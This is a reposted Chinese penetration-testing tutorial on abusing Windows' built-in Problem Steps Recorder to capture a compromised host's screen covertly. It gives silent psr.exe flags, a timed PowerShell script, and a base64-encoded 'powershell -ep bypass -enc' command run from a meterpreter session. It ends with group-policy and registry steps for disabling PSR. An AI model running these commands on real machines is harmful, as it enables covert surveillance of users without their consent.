<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/13125

            0x00 前言


            在滲透測試的過程中,如果需要獲取主機的更多信息,相比于鍵盤記錄,記錄系統屏幕的操作往往更加直接有效。
            也許每個人都有自己獨特的實現方式,但是如果能夠利用Windows系統自帶的程序實現,個人認為絕對是最優先考慮的方案。
            下面就介紹一下如何利用Windows系統自帶的功能實現監控屏幕操作。

            Alt text

            0x01 簡介


            PSR(Problem Steps Recorder),直譯為問題步驟記錄器,在Windows 早期的系統中,采用WER(Windows Error Reporting)來收集系統的錯誤報告,但這些報告往往包含的信息太少以致于無法解決實際問題。

            為此,微軟從Windows 7系統開始,增加了PSR來解決這個問題,PSR能夠記錄用戶在遇到崩潰時執行的所有操作,以便測試人員和開發人員能夠重現環境對其分析和調試。

            當PSR運行時,將會自動記錄屏幕的操作,每次操作都會自動保存成一張圖片,最終生成一份zip格式的報告。

            注:
            百度百科對psr的名稱描述有誤,準確的應為Problem Steps Recorder(該問題已提交)

            如圖 Alt text

            鏈接為:
            http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K

            0x02 使用方法


            1、啟動psr.exe,點擊開始錄制

            可使用快捷鍵win+R直接輸入psr來啟動
            下圖為psr的操作面板,點擊開始記錄即可記錄當前的屏幕操作

            Alt text

            點擊后會提示權限的問題,如果需要記錄管理員權限的程序,那么需要以管理員權限來運行psr,如圖

            Alt text

            2、進行任意操作

            當運行psr開始錄制后,鼠標點擊時會增加特效

            如圖 Alt text

            3、停止記錄,保存報告

            如圖 Alt text

            4、查看報告

            報告會對每次操作截圖,并記錄鼠標的操作

            比如鼠標的單擊操作,從截圖注釋可以看到當前的鼠標做了哪些操作 Alt text

            而且,在報告后半部分會詳細記錄相關細節,里面的內容也很是有趣: Alt text

            0x03 進階方法


            psr在記錄屏幕的操作中會啟動UI界面,并且對鼠標點擊操作增加特效,這顯然無法滿足滲透測試的要求。

            但好在psr提供了命令行參數用作后臺記錄

            命令行參數如下:

            #!bash
            psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
            [/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
            [/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
            [/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
            
            /start Start Recording. (Outputpath flag SHOULD be specified)
            /stop Stop Recording.
            /sc Capture screenshots for recorded steps.
            /maxsc Maximum number of recent screen captures.
            /maxlogsize Maximum log file size (in MB) before wrapping occurs.
            /gui Display control GUI.
            /arcetl Include raw ETW file in archive output.
            /arcxml Include MHT file in archive output.
            /recordpid Record all actions associated with given PID.
            /sketch Sketch UI if no screenshot was saved.
            /slides Create slide show HTML pages.
            /output Store output of record session in given path.
            /stopevent Event to signal after output files are generated.
            

            結合實際,可使用以下命令:

            1. psr.exe /start /gui 0 /output C:\test\capture.zip

              后臺啟動psr并開始錄制,文件保存為C:\test\capture.zip

            2. psr.exe /stop

              結束錄制并退出psr,自動保存報告文件

            0x04 實際測試


            測試環境:

            Server:
            OS:Kali linux
            IP:192.168.174.133
            
            Client:
            OS:Win7 x86
            IP:192.168.174.128
            
            Kali已獲得meterpreter權限
            

            如圖 Alt text

            測試功能:

            1. 自動啟動錄制
            2. 錄制指定時間后自動退出
            3. 自動保存報告文件

            可使用Powershell對上述功能做簡單實現:

            1、啟動自動錄制,設置為無界面模式,并指定輸出路徑:

            #!bash
            psr.exe /start /gui 0 /output C:\test\capture.zip;
            

            2、等待10s,即錄制時間為10s:

            #!bash
            Start-Sleep -s 10;
            

            3、結束錄制,自動退出:

            #!bash
            psr.exe /stop;
            

            可將以上代碼保存為C:\test\1.txt,然后對其作base64加密

            在Powershell環境下執行如下代碼來對功能代碼進行base64加密:

            #!powershell
            $string=Get-Content "C:\test\1.txt"
            $bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
            $encoded = [System.Convert]::ToBase64String($bytes)
            $encoded
            

            Alt text

            如圖,從輸出得到加密的Powershell命令為:

            #!bash
            cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
            

            然后就可以在meterpreter的shell下直接執行Powershell命令:

            #!bash
            powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
            

            Alt text

            代碼執行后,等待10s產成報告文件capture.zip,測試成功

            0x05 防御


            可采用以下兩種方法關閉psr:

            1、使用組策略

            中文系統:

            gpedit.msc-管理模板-Windows組件-應用程序兼容性

            啟用關閉問題步驟記錄器

            如圖 Alt text

            英文系統:

            gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility

            啟用Turn off Problem Steps Recorder

            如圖 Alt text

            2、修改注冊表

            #!bash
            [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
            

            新建"DisableUAR"=dword:00000001

            如圖 Alt text

            注:
            dword=1對應組策略中的已啟用
            dword=0對應組策略中的已禁用
            刪除"DisableUAR"對應組策略中的未配置

            0x06 小結


            利用PSR監控Windows桌面,不僅僅能夠捕獲用戶桌面的操作,而且在報告中會包含更多有用的細節信息,相信你在滲透測試的過程中,一定會用上它。

            0x07 參考資料


            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线